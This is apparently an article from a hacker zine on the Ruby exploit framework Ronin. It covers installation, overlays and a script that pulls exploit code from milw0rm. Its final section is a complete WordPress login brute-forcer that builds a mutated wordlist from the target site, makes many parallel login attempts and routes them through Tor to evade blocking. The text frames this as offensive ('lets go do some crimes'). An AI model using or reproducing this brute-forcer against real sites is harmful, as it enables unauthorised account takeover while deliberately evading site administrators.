Dave Bowman: Open the pod bay doors, HAL.
HAL: I’m sorry, Dave. I’m afraid I can’t do that.
Dave Bowman: What’s the problem?
HAL: I think you know what the problem is just as well as I do.
ronin add --git https://github.com/postmodern/postmodern-overlay.git
ronin
ronin>> pod_bay_door.open
HAL: Daisy, Daisy, give me your answer do…
“Ronin is a Ruby platform for exploit development and security research. Ronin allows for the rapid development and distribution of code, exploits or payloads over many common Source-Code-Management (SCM) systems.” [2]
With ronin being an exploit development framework written in Ruby it should go with out saying that you are going to have to learn Ruby. If you don’t already know a programming language, Ruby is a fine one to start with [1]. If you don’t know Ruby yet, but know other languages, it’s time to jump on the bandwagon. If you haven’t noticed already all exploit development is moving away from Perl and other languages like C (I know I am gonna get flamed for this one), and into python and ruby. Wether you are new to programming or just new to the language, following through Ronin code will be a good introduction to Ruby, because Postmodern, the author, goes to painstaking lengths to follow Ruby best practices.
There is good documentation on the Ronin site [2] for installing the whole suite of Ronin libraries [3]. After you get Ruby installed you are going to install the ruby gems library [4]. RubyGems is a package management system for Ruby gems (aka libraries, plugins, modules, classes, extensions) that allows you to install, update, and query the gems installed on your system. Ronin itself is a gem, as well as it’s additional libraries; ronin-web, ronin-php, ronin-dorks, ronin-sql, ronin-scanners, ronin-exploits, etc. If you want to be using the latest and greatest (read most buggy) version of ronin and friends you will need to use the versions from github.com. Gems are released from the code base on GitHub once they have reached a certain quality or due to community demand. Installing ronin, or a ronin library, is as simple as:
sudo gem install ronin
Interacting with your gem installation might look like:
# list all ronin gems installed on your system
evoltech@jwaters:~/src/htz$ gem list ronin
*** LOCAL GEMS ***
ronin (0.2.4, 0.2.3, 0.2.2)
ronin-dorks (0.1.1)
ronin-exploits (0.2.0)
ronin-gen (0.1.0)
ronin-php (0.1.1)
ronin-scanners (0.1.4)
ronin-sql (0.2.2)
ronin-web (0.1.2)
# Update all of the installed gems on your system
evoltech@jwaters:~/src/htz$ sudo gem update
Updating installed gems
...
Gems updated: ronin-dorks, ronin-exploits, ronin-gen, ronin-web, ronin-php,
ronin-sql, rspec, rubyforge, term-ansicolor
Ronin development and collaboration is done with the Git source code management (SCM) system. github.com is used to host the authoritative remote repositories. By creating a GitHub account and forking one of the ronin repositories for your development needs, you will be integrating into the ronin development community. This will allow core ronin developers to use Git and GitHub’s features to accept contributions.
Using Git with ronin is well documented on the ronin website [5]. If you are working with a copy of Ronin and or Ronin libraries from their Git repository and also have the related gems installed on your system, you will need to distinguish between the Git copy from the installed gem. Safely using the most recent version (from github.com) can be accomplished by incrementing the VERSION constant in the related version.rb file, then either re-rolling and installing a new gem, or by including the package from the command line with irb [6]. Ruby’s default behavior when requiring a new class is to include the most recent version as denoted by a libraries VERSION constant. Postmodern makes this easier for people working with both gems and git versions by always incrementing the version number in the git source after there is a new gem released. This makes it so that the git source version will always be greater then the gem version. You can always verify the version you are working with by:
irb> puts Ronin::VERSION
A side note is that Ronin may use “Edge” (release candidates, beta versions, etc) versions of different libraries. Most gems you use will be fetched from the default gem repository rubyforge.org. In order to install a gem on the edge you will have to find where the Edge versions are hosted. In most cases this will be github or the projects website (the gem source code hacking example below is made simpler with the scripts from the drnic-github gem [9]).As an example, in Ronin 0.2.5 a version of datamapper is required where the edge gem (dm-core >=0.10.0) is located in a non-default repo. On top of this there was some migration from rdoc to yard packages for documentation management with patches pending to dm-core. To install this repo you will have to:
sudo gem source --add http://gems.datamapper.org/
git clone https://github.com/postmodern/dm-core.git
cd dm-core
git checkout -b next --track origin/next
git pull
rake gem
sudo gem install pkg/dm-core-0.10.0.gem
sudo gem update
This being said, it is possible that your environment will need to be updated when working with the development versions (hosted at github). Before you start using the new ronin code you are going to want to run the test suite to make sure everything checks out on your box. This example shows testing a new version of ronin; but is applicable to the other ronin libraries as well.
cd ronin
grep VERSION lib/ronin/version.rb
VERSION = '0.2.5'
rake spec
# If you get errors here check that you have all the dependencies met. Make
# sure you have the dependencies specified in the self.extra_deps array.
cat Rakefile
Rolling the new gem from the git source you just checked out can be done as for dm-core above:
git clone https://github.com/ronin-rb/ronin.git
cd ronin
rake gem
sudo gem install pkg/ronin-0.2.5.gem
If instead you want to just load the library in from the command line when working with irb you can simply add all the additional include files from your local repos with:
pwd
~/src/ronin
irb -I ./lib
irb> require 'ronin'
irb> Ronin::VERSION
=> "0.2.5"
If you plan on working with a development branch of ronin you should check in at #ronin on irc.freenode.net and possibly join the google group at http://groups.google.com/group/ronin-rb.
In Ronin overlays are a way of distributing extra bits of code that make use of the ronin framework. Examples of this can be misc tools for exploit development, penetration testing, and exploits themselves. Overlays can include libraries (extensions in ronin speak) that can then be used by other overlays so that, like in UNIX, one tool can be stringed together with another tool. The concept of overlays is what seperates Ronin from other exploit development frameworks as this is where the decentralized sharing aspect comes in. You can design tools that leverage ronin and make them public, or share them only with in your affinity group.
Overlays are organized in ronin via the “Platform”, which is essentially just a local cache (~/.ronin) of your installed overlays. An overlay is managed in the following way:
ronin list
ronin add https://github.com/postmodern/postmodern-overlay.git
ronin update postmodern-overlay
# Remove the local entry and delete the associated files.
ronin uninstall postmodern-overlay
# Remove the local entry for the overlay, but don't delete the files.
ronin remove postmodern-overlay
Overlays are managed by Ronin::Platform. This section of code describes the Overlay API; file structure, recognized format of ronin.xml. In the following example we will be using an overlay called postmodern-overlay hosted at https://github.com/postmodern/postmodern-overlay.git. This overlay version will change as Ronin::Platform gets updated and may not always be compatible with the gem version of Ronin. As of Ronin 0.3.0 if you want to use a compatible version of postmodern-overlay you will have to check it out with the ronin-0.3.0 tag:
git clone https://github.com/postmodern/postmodern-overlay.git
cd postmodern-overlay
git checkout -b ronin-0.3.0 --track origin/ronin-0.3.0
By the time this hits the press a new version of Ronin::Platform will be out, that implements overlay versioning and can raise a warning when an incompatible Overlay is being used [7].
Overlays, like all other parts of the Ronin framework, can either be used from the Ronin Ruby Console or from a standalone script. After an overlay is installed in your environment and the Ronin Ruby Console is loaded the Overlay Cache will be loaded with all of the overlays installed on your system.
ronin>> Platform.overlays.names
=> ["postmodern-overlay"]
ronin>> Platform.extension_names
=> ["dumpster", "milw0rm", "spec", "twitter"]
You are going to look through the code of the extensions in postmodern-overlay because there are some interesting tools in there that show the ease of writing code capable of heavy lifting in a few lines. Making use of the overlays is made overly simple since the extension names are added directly into the local namespace:
ronin>> milw0rm.remote.latest.title
The overlays and associated extensions can also be used in standalone scripts as you might expect. The following example shows how the milw0rm extension in the postmodern-overlay can be used to search milw0rm.org/remote for exploits matching a certain pattern in their title and print the exploit to the screen. Obviously, this is only to show how this can be done as it would be much quicker to use the ronin-dorks library ie.
ronin>> puts Web::Dorks.search(:site => 'milw0rm.org/remote', :query => 'ftp').page(1).summaries
#!/usr/bin/env ruby
require 'pp'
require 'ronin'
require 'optparse'
require 'ostruct'
include Ronin
options = OpenStruct.new
options.verbose = false
options.date = Date.today-90
options.subject = nil
begin
OptionParser.new do |opts|
opts.banner = "Usage: getAllWpExploits.rb [options]"
opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
options.verbose = v
end
opts.on("-d <date>", "Specify the <date> that exploits must be newer than.") do |d|
options.date = Date.parse(d)
end
opts.on("-s <subject>", "Specify the <subject> that exploit must match.") do |s|
options.subject = s
options.subject_re = /#{s}/i
end
if (!defined? options.subject)
puts opts
puts options.subject
raise OptionParser::MissingArgument, 'A subject to search for is required', caller
end
end.parse!
rescue OptionParser::MissingArgument
puts $!
exit
end
def findRemoteExploit(re, date)
if (!re.instance_of? Regexp)
raise ArgumentError, "First argument is not a Regexp", caller
end
if (!date.instance_of? Date)
raise ArgumentError, "Second argument is not a Date", caller
end
start = 0
dont_bail = true
while page = Platform.milw0rm.remote[start]
page.each { |exploit|
# Check if it is older than the date. We assume that the exploits are pulled
# sorted by date so if we find one with a date greater than date we
# bail.
if (exploit.date < date)
dont_bail = false
break
end
# Check if the title matches re.
next unless exploit.title =~ re
# It looks like the milw0rm extension doesn't parse title
puts exploit.date.strftime('%Y-%m-%d') +", "+ exploit.title
# Get the exploit.
puts exploit.body
}
if (!dont_bail)
break
end
start = start.succ
end #while
end #find
puts "Looking for any remote exploit matching #{options.subject_re.inspect} in the title posted after "
puts "#{options.date.strftime '%Y-%m-%d'} on milw0rm.org"
findRemoteExploit(options.subject_re, options.date)
puts "Done."
Debbi: Fuck this shit lets go do some crimes.
Duke: Yeah. Let’s go get sushi and not pay.
You are probably tired or all the talk by this point and would like to see an attack on an actual target. Well your not going to get it, but what I will give you is an attack on a hypothetical target. In this issue I am going to cop out with a dictionary attack on a wordpress site, but next issue we will cover porting code from milw0rm and other frameworks like metasploit, and multi-level attacks using ronin.
Since plain old dictionary attacks on websites are so boring we will try and improve our chances by first scraping a site for all words then mutating those words to provide a wordlist. After this is done we will spawn off a bunch of jobs to try and log into the site.
This process is made simple with yet another gem, written by our good friend postmodern and maintained by the SophSec crew, called wordlist [8]. The assumption is that most dictionaries will have way too many words to try all of them, but the selection of words on a website may comprise a smaller dictionary that contains a word that may be used as the admin password, possibly with some mutations. Another problem is that password attacks on a website are slow if you follow the HTTP standard and not make more than 2 requests to the same domain at a time, but why would we follow that rule? We’ll fork as many as we need. And of course we don’t want our sysadmin on the other end to have it easy and be able to whitelist a single ip, so we’ll run the whole damn thing through tor (now they could just block tor which would be a bummer).
#!/usr/bin/env ruby
require 'ronin/web'
require 'optparse'
require 'ostruct'
require 'wordlist/builders/website' # https://github.com/sophsec/wordlist
require 'wordlist'
require 'logger'
include Ronin
class App
VERSION = '0.0.1'
attr_reader :options
def initialize(arguments)
@arguments = arguments
@options = OpenStruct.new
@options.verbose = false
@options.host = nil
@options.word_list = nil
@options.file = 'list.txt'
@options.threads = 10
@options.path = '/wp-login.php'
@options.user = 'admin'
@opts = nil
@mutations = {
'a' => '@', 'a' => '4', 'A' => '@', 'A' => '4',
'b' => '8', 'B' => '8',
'c' => '(', 'C' => '(',
'e' => '3', 'E' => '3',
'g' => '6', 'G' => '6',
'i' => '1', 'I' => '1', 'i' => '|', 'I' => '|', 'i' => '!', 'I' => '!',
'l' => '1', 'L' => '1', 'l' => '!', 'L' => '!', 'l' => '|', 'L' => '|',
'o' => '0', 'O' => '0',
's' => '5', 'S' => '5',
't' => '7', 'T' => '7', 't' => '+', 'T' => '+',
}
file = File.open('smartBruteForceWP.log', File::WRONLY | File::APPEND)
@options.logger = Logger.new(file)
@options.logger.level = Logger::DEBUG
end
end
def run
if parsed_options?
# @todo Before we build the word list lets verify that we have a vaild
# path for login and confirm that that the user we are using is valid
# This can be accomplished be checking the returnvalue of logging in
# with one character for the pass and the user and seeing if the
# response is Invalid username vs Invalid password.
# Generate the wordlist. We want words greater than 5 characters
# and less then 15. We would also like to perform some l33t speak
# mutations on the words.
@options.logger.debug("#{Process.pid}: Generating wordlist (#{options.file}) from #{options.host}")
ws = Wordlist::Builders::Website.build(
@options.file,
:host => @options.host
)
@options.logger.debug("#{Process.pid}: Building a wordlist from (#{options.file})")
list = Wordlist::FlatFile.new(
@options.file,
:max_length => 15,
:min_length => 5
)
@options.logger.debug("mutating list with #{@mutations.inspect}")
build_mutations! list
# Create a bunch of processes for contacting the target site and trying
# to log in with our word. Bail on success.
pids = []
wordct = 0
url = 'http://' + options.host + options.path
@options.logger.debug("Brute forcing #{url} with #{@options.threads} threads")
query = {:log => options.user, 'wp-submit' => "Log In"}
list.each_mutation do |word|
wordct = wordct.succ
# Only allow options.threads to run at once
if pids.size >= @options.threads.to_i
pid = Process.wait
exit if ($?.exitstatus == 1)
pids.delete pid
end
pids << fork do
query[:pwd] = word
@options.logger.debug("#{query.inspect}")
if Ronin::Web.post(url, :query => query).parser.css('#login_error').size == 0
# Now it is safe to bail on all the threads.
puts "username:#{options.user}, password:#{word}"
exit 1
end
end
end
pids.each do |pid|
Process.waitpid pid
exit if ($?.exitstatus == 1)
end
puts "Tried #{wordct} passwords and was unable to login."
else
output_usage
end
end
protected
def build_mutations!(list)
@mutations.each { |key, val| list.mutate key, val }
end
def parsed_options?
begin
@opts = OptionParser.new
@opts.banner = "Usage: smartBruteForceWP.rb [options]"
@opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
@options.verbose = v
end
@opts.on("-t=THREADS", "Specify the number of concurrent requests we should make.") do |t|
@options.threads = t
end
@opts.on("-p=PATH", "Specify the PATH to wp-login.php.") do |p|
@options.path = p
end
@opts.on("-u=USER", "Specify the USER to login as.") do |u|
@options.user = u
end
@opts.on("-s=SITE", "Specify the <site> to brute force.") do |s|
@options.host = s
end
@opts.parse!
if (@options.host.nil?)
raise(OptionParser::MissingArgument,'A subject to search for is required',caller)
end
rescue OptionParser::MissingArgument
puts $!
return false
end
true
end
def output_usage
puts @opts
end
end
app = App.new ARGV
app.run
You may want to experiment with running this code through a the torify command to make sure all of the requests don’t come from the same ip. The default number of child processes to generate is configurable via the -t option, but the default is 10 processes.
torify ruby ./smartBruteForce.rb -s wp28.com -t 100 -u admin
The HTZ 8 zine subversion repository [9] contains a much larger mutation file and will be the location for any updates and branches to this application.
Postmodern for doing a lot of hand holding with me through the code and getting me up to speed with all that is ruby and git. Double thanks for the quick turn around on the wordlist lib. http://houseofpostmodern.wordpress.com
Sbit for providing QA for Ronin, especially for the ronin-0.3.0 release,
debian installation, and AWESOME.times! 300
HB-core: Flatline, Impact, Frenzy, Ringo, Hexy-poo, alxCIAda, doll
[1] Pickaxe - The name given to the Ruby language documentation. A site hosting the book with a nice browseable TOC and Index all in frames is here: http://www.rubycentral.com/book/.
[2] Ronin - The main site for the Ronin project: http://ronin-rb.github.io/.
[2.a] ronin-rb.github.io on GitHub - The code base for the main Ronin site powered by Jekyll, a static website/blog generator written in Ruby. The site source can be cloned through GitHub here: https://github.com/ronin-rb/ronin-rb.github.io/
[3] Installing Ronin on Debian - Detailed instructions for getting the Ronin (and Ruby) code base on a Debian computer. If your installation steps are significantly different than what is here, please write them up and submit them to the documentation project [2.a]. http://ronin-rb.github.io/howtos/ronin_on_debian.html
[4] RubyGems - “The premier Ruby packaging system”.
[5] Fork a Repo - Detailed tutorial for using git to hack on Ronin is available here.
[6] IRB - The Interactive Ruby Interpreter. This is the “Ruby command Line”, extended by Ronin to create the ECD (Electronic Civil Disobedience) command line that is Ronin. More info on using Ruby IRB is here: http://whytheluckystiff.net/ruby/pickaxe/html/irb.html
[7] Ronin Overlays - An email from postmodern on 2009-10-25 discussing upcoming changes in Ronin::Platform. http://groups.google.com/group/ronin-rb/browse_frm/month/2009-10
[8] wordlist - A ruby library for generating and working with word-lists. Project homepage - http://wordlist.rubyforge.org/ Github homepage - https://github.com/sophsec/wordlist Postmoderns discussion of the project - http://houseofpostmodern.wordpress.com/2009/10/21/introducing-wordlist-0-1-0/ Since this will be read on paper by a good number of people I will include a bit of the source for this library here, because it is nothing short of code poetry
# Build a wordlist from a dictionary file, only selecting words between
# 5 and 15 characters.
list = Wordlist::FlatFile.new('dictionary.txt', {:max_length => 15, :min_length => 5})
# Add the mutations you would like to be performed. This method can actualy do some
# very complex mutations.
list.mutate 'a', '@'
list.mutate 'e', '3'
list.each_mutation do |word|
puts word
end
# => @apple, @ppl3, appl3, apple, etc
wordlist/list.rb: Wordlist::List.each_mutation:
#
# Enumerates through every unique mutation, of every unique word, using
# the mutator rules define for the list. Every possible unique mutation
# will be passed to the given _block_.
#
# list.each_mutation do |word|
# puts word
# end
#
def each_mutation(&block)
mutation_filter = UniqueFilter.new()
mutator_stack = [lambda { |mutated_word|
# skip words shorter than the minimum length
next if mutated_word.length < @min_length
# truncate words longer than the maximum length
mutated_word = mutated_word[0,@max_length] if @max_length
if mutation_filter.saw!(mutated_word)
yield mutated_word
end
}]
# @mutators is a local array of Mutator objects, see below
(@mutators.length-1).downto(0) do |index|
mutator_stack.unshift(lambda { |word|
prev_mutator = @mutators[index]
next_mutator = mutator_stack[index+1]
prev_mutator.each(word,&next_mutator)
})
end
each_unique(&(mutator_stack.first))
end
wordlist/mutator.rb: Wordlist::Mutator.each:
#
# Performs every possible replacement of data, which matches the
# mutators +pattern+ using the replace method, on the specified _word_
# passing each variation to the given _block_.
#
def each(word)
choices = 0
# first iteration
yield(word.gsub(@pattern) { |matched|
# determine how many possible choices there are
choices = ((choices << 1) | 0x1)
replace(matched)
})
(choices - 1).downto(0) do |iteration|
bits = iteration
yield(word.gsub(@pattern) { |matched|
result = if ((bits & 0x1) == 0x1)
replace(matched)
else
matched
end
bits >>= 1
result
})
end
return word
end
[9] An article by Dr. Nic about the “find it, fork it, clone it, build it, install it, technologic” work-flow using git and rubygems. http://drnicwilliams.com/2009/11/04/hacking-someones-gem-with-github-and-gemcutter/
[9] HTX 8 subversion repository: https://hackbloc.org/svn/htz/8/ Large Mutation list: https://hackbloc.org/svn/htz/8/mutations-full.txt Smart Word Press Password Brute Forcer: https://hackbloc.org/svn/htz/8/smartBruteForceWP.rb